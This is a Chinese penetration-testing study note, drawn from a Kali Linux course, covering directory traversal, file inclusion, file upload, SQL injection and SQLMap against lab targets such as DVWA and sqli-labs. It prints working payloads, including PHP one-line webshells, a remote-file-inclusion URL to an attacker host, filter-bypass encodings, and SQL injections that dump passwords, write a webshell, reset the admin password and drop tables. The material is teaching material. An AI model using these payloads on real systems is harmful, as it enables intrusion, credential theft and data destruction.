笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程
文章目录
漏洞挖掘
WEB漏洞扫描工具一般只会扫描通用常见的漏洞,一些特殊目录、不严格的配置可能遗漏,此时需要手动进行漏洞挖掘,结合自动化工具的扫描结果,根据具体环境灵活验证。
漏洞存在的本质在于输入变量和命令相混淆,漏洞挖掘的原则就在于尝试所有输入变量(表单提交内容、HTTP头等所有存在变量输入的地方),逐一验证排除。
1.目录遍历/文件包含
目录遍历(Directory traversal):由于目录权限限制不严格,导致攻击者通过url等参数直接访问本地WEB目录及其以外的文件。
文件包含(File include):可以包含WEB目录及其以外的文件,进一步分为本地文件(LFI)包含和远程文件包含(RFI)。
- 目录遍历/文件包含漏洞的存在特征为:在post或url请求中存在
变量=页面
eg:
<url>?page=a.php
<url>?home=b.html
<url>?file=content
- 经典测试方法:
eg:
<url>?file=../../../../etc/passwd
<url>?page=file:///etc/passwd
<url>?home=main.cgi
<url>?page=http://10.10.11.129/attack.php
注:Metasploitable默认没有开启RFI,为实现RFI,需要修改配置文件/etc/php5/cgi/php.ini
:
allow_url_include = on
- 注意对提交的内容进行编码或变换,绕开过滤机制:
url编码
%2e%2e%2f 解码: ../
%2e%2e%5c 解码: ..\
%252e%252e%255c(多层url编码) 解码: ..\
Unicode/UTF-8编码
..%c0%af 解码: ../
..%c1%9c 解码: ..\
绕开过滤规则
htthttp://p://
- 其他系统路径可能用到的字符:(可以利用字典,测试时将字典内容附加在文件后,观察返回结果,在Kail目录
/usr/share/wfuzz/wordlist/
中已集成一些典型攻击向量字典)
file.txt...
file.txt<spaces>
file.txt””””
file.txt<<<>>><
2.文件上传
通过文件上传接口,绕过过滤机制,将webshell、木马文件上传至目标系统。
如上传一句话木马:
<?php
echo shell_exec($_GET['cmd']);
?>
- 直接将木马文件上传至目标系统
- 修改文件类型
- 修改扩展名:.jpeg、.php.jpeg等
- 修改HTTP Request Header
- 仅保留文件头部,剩下内容改为一句话木马
通过文件上传获取Webshell的方法详见:https://blog.csdn.net/Captain_RB/article/details/109608241/#1_57
3.SQL注入
服务器端程序将用户输入的变量作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端服务器,不同数据库注入思路是相似的,只是语句有所不同,这里以MySQL注入为例进行介绍。
(1)检测方法
- 普通型SQL注入
基于报错的检测:输入' " %
等字符,查看返回是否报错,如果报错,说明这些字符被正常解析,可能存在SQL注入漏洞 - 盲注型SQL注入
① 基于布尔的检测:1' and '1
和1' and '0
,看返回结果逻辑是否正常,以此判断是否存在注入漏洞
② 基于时间的检测:利用SLEEP()
函数,通过延时响应判断是否存在注入漏洞
(2)手动注入
注意:
① SQL语句注释符用#
和--
(后有空格符) 都可以,但#
在URL中会被解析成锚点,可以通过URL编码使用%23
替代解决这个问题,--
后边必须接一个空格符,所以在URL中要写成--+
,在URL中空格符都要写成+
,+
会被自动解析成空格符;
② 查询语句首先要保证语句语法正确才可以查询到我们需要的信息,否则只会报语法错误,这时需要根据报错信息或者盲猜语句结构,有时末尾加注释符不行,需要闭合引号,此时需要加上or '
或or "
。
① 普通型SQL注入(注入过程中可以通过数据显示、报错等信息回显获取所需信息)
当后台数据库把查询信息无差别回显到前端时,可以通过SELECT语句获取所需信息;
当后台可以正常返回错误信息时,可以利用几个特殊函数,通过报错信息查询所需信息。
- 判断查询字段数:(由大至小判断)
可以采用二分法判断查询表的列数
' ORDER BY 10#
- 联合查询:
# 判断查询字段位置
' UNION SELECT 1,2,3,4,5#
# 查询当前数据库、版本、用户、数据库文件路径等系统信息,1,2,3,4,5等数字用于占位
' UNION SELECT database(),version(),user(),4,@@datadir#
# 结合AND语句,使原有查询的值为空
# 再利用联合查询语句,使得联合查询的值替代正常的变量赋值
# 利用这种方法有时可以传递HASH绕过后台登录验证
# POST提交参数中passwd=123,'202cb962ac59075b964b07152d234b70'为123的MD5
' AND 1=2 UNION SELECT 1,'202cb962ac59075b964b07152d234b70',3#
- 利用
CONCAT
、CONCAT_WS()
、GROUP_CONCAT()
连接字符串,CONCAT
和CONCAT_WS()
将多个字符串通过分隔符连接成一个长字符串,GROUP_CONCAT()
将一列内容连接成一个长字符串,提高查询效率:
' SELECT CONCAT(database(),version(),user(),@@datadir),null#
' SELECT CONCAT_WS(', ',database(),version(),user(),@@datadir),null#
# 其中`,`是连接字符串的分隔符
' SELECT null,GROUP_CONCAT(schema_name),null from information_schema.schemata#
- 利用
EXTRACTVALUE()
、UPDATEXML()
函数,通过报错信息查询所需信息,这两个函数参数格式为EXTRACTVALUE(目标xml文档,xml路径)
、UPDATEXML(目标xml文档,xml路径,更新的内容)
,xml路径
用Xpath路径法表示,格式如 /xxx/xxx/xxx/,如果写入以~:;
等特殊符号开头的内容就肯定不是Xpath格式,此时就会报错,并且报错会返回写入的非法格式内容,而这个非法格式的报错内容就是需要查询的信息,函数的其他参数输入随意:(只要有报错信息,基于报错的方法就一定可行)
1' or UPDATEXML(1,CONCAT(":",database(),user()),1)#
# SELECT语句必须用括号括起来,否则会报错,下同
1' and EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))#
1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='xxx')))#
1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where table_schema='xxx')))#
# GROUP_CONCAT可能拼接字符串有长度限制,这时可以使用LIKE匹配重要字符,或用NOT LIKE排除无关字符
1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where column_name like '%user%' and table_schema='xxx')))#
1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where column_name like '%pass%' and table_schema='xxx')))#
1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where column_name not like 'm%' and table_schema='xxx')))#
MySQL重要信息全部存在INFORMATION_SCHEMA
,其中最重要的三个表:SCHEMATA
、TABLES
和COLUMNS
:
SCHEMATA
记录了所有数据库的名称SCHEMA_NAME
TABLES
记录了所有数据表的名称TABLE_NAME
COLUMNS
记录了所有列的名称COLUMN_NAME
利用查询语句查看SCHEMATA、COLUMNS与TABLES中列的具体内容:
SELECT column_name FROM information_schema.columns WHERE table_name='schemata';
SELECT column_name FROM information_schema.columns WHERE table_name='tables';
SELECT column_name FROM information_schema.columns WHERE table_name='columns';
结果如下图所示:(MySQL version 5.0.51)
图1 COLUMNS&TABLES
注意在 information_schema.schemata 表中库名的列名为schema_name
,但是在 information_schema.tables 和 information_schema.columns 表中库名的列名为table_schema
,如下查询数据库名、表名、列名的语句:
' UNION SELECT DISTINCT schema_name FROM information_schema.schemata;
' UNION SELECT DISTINCT table_name FROM information_schema.tables;
' UNION SELECT DISTINCT table_name FROM information_schema.tables WHERE table_schema='schema_name';
' UNION SELECT DISTINCT column_name FROM information_schema.columns;
' UNION SELECT DISTINCT column_name FROM information_schema.columns WHERE table_schema='schema_name' AND table_name='table_name';
- 查询dvwa.users表中所有的列:
' UNION SELECT table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’#
' UNION SELECT group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users’#
' UNION SELECT null,group_concat(table_name,':',column_name) from information_schema.columns where table_schema='dvwa' and table_name='users’#
- 查询用户和密码信息:
' UNION SELECT user,password FROM dvwa.users#
' UNION SELECT group_concat(user),group_concat(password) FROM dvwa.users#
' UNION SELECT group_concat(user,':',password) FROM dvwa.users#
- 利用
LOAD_FILE()
读取文件:
' UNION SELECT null, LOAD_FILE('/etc/passwd')#
- 利用
INTO OUTFILE
、INTO DUMPFILE
将SELECT内容写入文件:(INTO OUTFILE
输出内容中带有换行、空格等格式,导出多行带格式数据;INTO DUMPFILE
输出内容中无格式,导出单行无格式数据)
' UNION SELECT null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php"#
' UNION SELECT null, CONCAT_WS(',',user,0x3a,password) FROM users INTO OUTFILE '/tmp/a.db'#
在利用MySQL注入漏洞在目标系统上新建文件时,所有操作使用的都是mysql
账号,在/var/www
等目录下读写权限会有所限制,这样新建文件就要在mysql
所在的主目录或者/tmp
等权限不受限的目录完成,然后利用其他WEB漏洞(如文件包含漏洞)对新建的文件进行利用。
- 如果当前数据库查询账号受限,无法查看
information_schema
等重要数据库,拒绝union、order by等查询语句,此时可以利用Fuzz猜测库名、表名、列名,根据返回值判断猜测是否正确 (可以利用Burp等自动化工具,结合字典进行注入判断),SQL注入没有银弹,具体环境具体分析,处理方式要灵活变通。
# 猜列名
' and <column_name> is null#
# 猜当前表表名
' and <table>.user is null#
# 猜测库中其他表名
' and (select count(*) from <table>)>0#
# 猜字段内容
' or user='admin
' or user like ' %a%
# 直接更改用户名和密码
';UPDATE users SET user='attacker' WHERE user='admin
';UPDATE users SET password='xxxxxx' WHERE user='yyyyyy
# 直接插入新用户
';INSERT INTO users ('user_id','first_name','last_name','user','password','avatar') VALUES ('1','Wang','Ha','WH','h87fcce45f6aee332deb8826e','OK');#
# 删库
';DROP TABLE users;#
② 盲注型SQL注入(不回显查询结果或报错提示等信息)
SQL盲注条件下无法基于报错判断是否存在注入漏洞,也无法通过查询结果或数据库内建的报错提示获取我们所需要的信息,此时可以基于布尔和时间进行盲注检测是否存在漏洞,同时要结合输入不同内容回显的结果灵活处理,其他注入方法和普通注入是一样的,盲注获取信息工作量一般比较大,可以使用二分法逐步缩小判断范围,提高效率。
- 基于布尔的盲注
当输入不同的逻辑结果返回不同界面时,此时可以根据逻辑真假执行结果对输入信息进行判断。
1' and 1#
1' and 0#
' or 1#
' or 0#
' or length(database())=8#
' or substr(database(),2,1)>'m'#
- 基于时间的盲注
当无论输入什么内容显示界面都相同时,此时只能根据界面响应的时间延迟对输入信息进行判断。
' or SLEEP(5)--+
' or (SELECT * FROM (SELECT(SLEEP(20)))a)#
' or if(substr(database(),1,1)>'m',sleep(5),null)#
' or if(substr(database(),1,1)='s',sleep(5),null)#
③ 二次注入
二次注入是一种注入形式,是指第一次注入时特殊符号被转义,无法产生注入效果,但是提交的恶意数据被保存到了数据库,这样在第二次引用到数据库中的恶意数据时,就会引发二次注入,达成恶意目的。完成二次注入一般分为两个步骤:
i) 插入恶意数据: 第一次提交请求时插入恶意数据,虽然特殊字符被转义,但是数据仍然原封不动被存到数据库,数据本身包含恶意内容;
ii) 引用恶意数据: 服务器默认数据库中内容都是安全的,这样在第二次访问服务器时,服务器直接从数据库中取出了恶意数据,不加过滤地拼接到SQL语句中,致使恶意数据拼接语句生效,造成二次注入。
以 sqli-labs less-24 为例,解题思路,新建账户admin’#,然后登录admin’#账户,在重置密码界面修改密码,实际上修改的是admin账户的密码,原理如下:
修改密码的SQL语句:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这样拼接username后变为:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
最后真正执行的语句:
UPDATE users SET PASSWORD='$pass' where username='admin'
④ 宽字节注入
宽字节注入是指利用网站客户端和服务端两者在转换数据编码过程中出现的漏洞,导致危险字符转义失效,从而产生的注入问题。后台处理危险字符一般有两种方法,一是将其转义成实体,二是将其过滤掉。当后台采用的方法是用反斜杠\
将特殊字符转义成实体时,PHP客户端发送请求到MYSQL服务器交互数据,如果服务器设置的编码为GBK、GB2312等非英文编码,这些编码方案中非英文字符要用至少两个字节进行编码,而我们提交的PHP请求数据是ASCII编码 (单字节编码),这样在后台转换编码时,就有可能因为字符宽度问题“吃掉”至少一个ASCII字符,从而产生宽字节注入的问题。
以GBK编码方案 (中文为双字节编码) 为例,如果后台用\
(URL编码为%5c
) 来转义特殊字符,此时输入内容如%xx'
,后台处理时用\
将字符'
进行转义,就会拼接成%xx%5c'
,当xx范围从0x81-0xfe时,双字节%xx%5c
表示为一个汉字。如下图所示,当输入内容为%df'
时,后台转义处理后再转成GBK编码内容就变成了運'
,这样就相当于对'
的转义处理失败了,在此基础上可以进一步进行注入,思路和普通注入以及盲注是相同的。
(4)自动化工具——SQLMap
Python语言开发的SQL注入、漏洞检测工具,可以进行数据提取、访问文件系统、执行操作系统命令、访问注册表、Fuzz和字典破解等操作,可以与Burp、Metasploit等其他工具、框架结合使用,引擎强大、特性丰富,同时也支持XSS漏洞检测。
支持的数据库管理系统DBMS包括:MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB。
五种漏洞检测技术:基于布尔的盲注检测、基于时间的盲注检测、基于错误的检测、基于UNION联合查询的检测、基于堆叠查询的检测。
查询结果以及日志记录默认保存在 ~/.local/share/sqlmap/output/
目录下,每个目标以url或ip命名为单独的目录,其中 ~/.local/share/sqlmap/output/xxxxxx/session.sqlite
为当次会话的查询缓存。
注意:有时会因为网络原因导致查询结果不准确,这时我们重新查询时SQLMap会直接将缓存中的结果导出,而不会重新查询,这样会导致一直得不到正确结果,如果我们想让SQLMap重新查询则需要删除session.sqlite缓存文件。
使用方法:
① Target
- 直接登录数据库进行查询,非注入方式
sqlmap -d "mysql://user:password@10.10.11.128:3306/dvwa" --users --dbs
- GET方法指定SQL注入目标: